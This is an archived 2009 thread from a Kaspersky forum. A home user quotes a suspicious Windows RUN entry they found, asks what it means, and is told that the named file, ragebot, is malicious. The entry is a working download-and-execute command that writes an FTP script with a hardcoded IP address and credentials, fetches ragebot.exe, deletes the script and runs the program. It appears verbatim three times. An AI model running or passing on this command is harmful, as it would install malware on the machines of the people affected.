Help - Search - Members
Full Version: RUN had strange entry [Merged]
Kaspersky Lab Forum > English User Forum > Protection for Home Users
MelodyLocke
I found a strange (unknown) entry in the RUN on my system and took 5 full scans to get a clean one. The entry was this:

cmd /c echo open 194.239.18.154 21 >> ik &echo user id438001 iD27E6B78 >> ik &echo binary >> ik &echo get ragebot.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &ragebot.exe &exit

This looks to me like hacking but I am only guessing. (echo- ragebot ) I have a corporate IT who can access my system if I need them to, so perhaps its a forgotten entry from long ago, but I don't believe it is. What does the above mean and this the footprint left behind by someone else?
Frodo Baggins
QUOTE(MelodyLocke @ 27.10.2009 12:38) *
I found a strange (unknown) entry in the RUN on my system and took 5 full scans to get a clean one. The entry was this:

cmd /c echo open 194.239.18.154 21 >> ik &echo user id438001 iD27E6B78 >> ik &echo binary >> ik &echo get ragebot.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &ragebot.exe &exit

This looks to me like hacking but I am only guessing. (echo- ragebot ) I have a corporate IT who can access my system if I need them to, so perhaps its a forgotten entry from long ago, but I don't believe it is. What does the above mean and this the footprint left behind by someone else?


I think this post needs to be in a different forum, but ragebot.ext is a "baddie" (in other words, you might be infected).
MelodyLocke
You are absolutely right, now that I have opened my eyes and looked at where I posted this- I thought a post was a post (not an everyday thing to do) and screwed that one up... EXCEPT... I have been syncing my iPhone to the same computer, and I need to insure I haven't transferred some "baddie" to my new phone. Of course, if I believe the ads, Apples don't get sick. Any advice on protecting my phone? (iPhone 3GS )


QUOTE(Frodo Baggins @ 27.10.2009 10:48) *
I think this post needs to be in a different forum, but ragebot.ext is a "baddie" (in other words, you might be infected).

MelodyLocke
I will re-post this as I had it in the wrong place...


I found a strange (unknown) entry in the RUN on my system and took 5 full scans to get a clean one. The entry was this:

cmd /c echo open 194.239.18.154 21 >> ik &echo user id438001 iD27E6B78 >> ik &echo binary >> ik &echo get ragebot.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &ragebot.exe &exit

This looks to me like hacking but I am only guessing. (echo- ragebot ) I have a corporate IT who can access my system if I need them to, so perhaps its a forgotten entry from long ago, but I don't believe it is. What does the above mean and this the footprint left behind by someone else?








QUOTE(Lucian Bara @ 22.08.2009 15:46) *
hello
more details please, in which file...

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Invision Power Board © 2001-2009 Invision Power Services, Inc.